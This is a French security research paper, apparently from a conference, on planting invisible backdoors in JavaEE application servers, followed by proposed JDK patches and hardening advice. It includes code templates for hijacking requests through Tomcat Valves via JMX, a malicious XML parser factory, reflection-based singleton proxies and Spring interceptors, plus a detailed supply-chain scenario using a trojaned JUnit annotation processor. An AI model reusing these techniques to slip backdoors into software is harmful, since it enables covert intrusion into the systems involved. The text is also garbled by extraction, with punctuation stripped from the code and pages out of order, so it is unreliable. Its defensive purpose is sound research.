Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

